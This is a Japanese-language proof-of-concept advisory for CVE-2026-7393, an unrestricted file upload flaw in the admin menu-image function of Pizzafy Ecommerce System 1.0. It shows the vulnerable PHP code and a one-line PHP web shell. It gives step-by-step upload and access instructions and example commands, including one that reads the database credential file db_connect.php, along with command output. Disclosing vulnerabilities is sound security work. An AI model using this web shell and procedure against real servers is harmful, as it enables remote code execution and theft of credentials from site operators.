
CVE-2026-7393 の概念実証エクスプロイト: Pizzafy Ecommerce System 1.0 における無制限のファイルアップロードにより、認証済み管理者が PHP ウェブシェルをアップロードしてリモートコード実行を達成できます。
| フィールド | 値 |
|---|---|
| ベンダー | SourceCodester |
| ベンダー URL | https://www.sourcecodester.com |
| 製品 | Pizzafy Ecommerce System using PHP and MySQL |
| 製品 URL | https://www.sourcecodester.com/php/18708/pizzafy-ecommerce-system.html |
| バージョン | 1.0 |
| 脆弱性 | 無制限のファイルアップロード → リモートコード実行 |
| CWE | CWE-434 |
| CVSSv3 スコア | 7.8(高) |
| 攻撃ベクトル | ネットワーク |
| 認証要件 | はい(管理者) |
| ユーザー操作 | なし |
| 研究者 | Imad Alvi |
| 日付 | 2026-04-12 |
ファイル: Pizzafy/admin/admin_class_novo.php → save_menu() 関数
パラメータ: img (FILE)
アップロードパス: Pizzafy/assets/img/
Pizzafy Ecommerce System 1.0 の save_menu() 関数は、ファイルタイプの検証を行わずに、メニュー項目の画像アップロードを処理します。このアプリケーションは pathinfo() を使用してファイル拡張子を取得しますが、アップロードされたファイルを Web からアクセス可能な assets/img/ ディレクトリに移動する前に、許可されたファイルタイプを実際にチェックまたは制限することはありません。認証された管理者は、メニュー画像を装った PHP ウェブシェルをアップロードし、ブラウザから直接アクセスして、サーバー上でリモートコード実行を実現することができます。
admin_class_novo.php 内の脆弱なコード:
function save_menu(){
extract($_POST);
// ...
if($_FILES['img']['tmp_name'] != ''){
$fname = strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
$move = move_uploaded_file($_FILES['img']['tmp_name'],'../assets/img/'. $fname);
$data .= ", img_path = '$fname' ";
}
// No extension check, no MIME type check
}
次の内容で shell_web2.php という名前のファイルを作成します:
<?php echo shell_exec($_GET['cmd']); ?>
管理者としてログインし、次の場所に移動します:
http://localhost/pizzafy/Pizzafy/admin/index.php?page=menu
メニューフォームに任意の有効な値を入力し、画像ファイルとして shell_web2.php を選択します。保存 をクリックします。
ウェブシェルは、顧客向けページのメニュー項目として表示されます。
assets ディレクトリに移動します — ディレクトリリスティングが有効になっています(CWE-548):
http://192.168.0.9/pizzafy/Pizzafy/assets/img/
アップロードされた PHP シェルがディレクトリリスティングに表示されます。
アップロードしたシェルに直接アクセスし、cmd パラメータを介してシステムコマンドを渡します:
http://192.168.0.9/pizzafy/Pizzafy/assets/img/1775994120_shell_web2.php?cmd=whoami
応答 — サーバー上で実行された OS コマンド:
desktop-g1i9np3\dell
?cmd=whoami
?cmd=ipconfig
?cmd=dir C:\xampp\htdocs\pizzafy
?cmd=type C:\xampp\htdocs\pizzafy\Pizzafy\admin\db_connect.php
認証された管理者は、以下のことが可能です:
assets/img/ ディレクトリではディレクトリリスティングが有効になっており、認証されていないユーザーでもウェブシェルを含むすべてのアップロードファイルを閲覧できます。これにより、ファイルアップロードの脆弱性の深刻度がさらに高まります。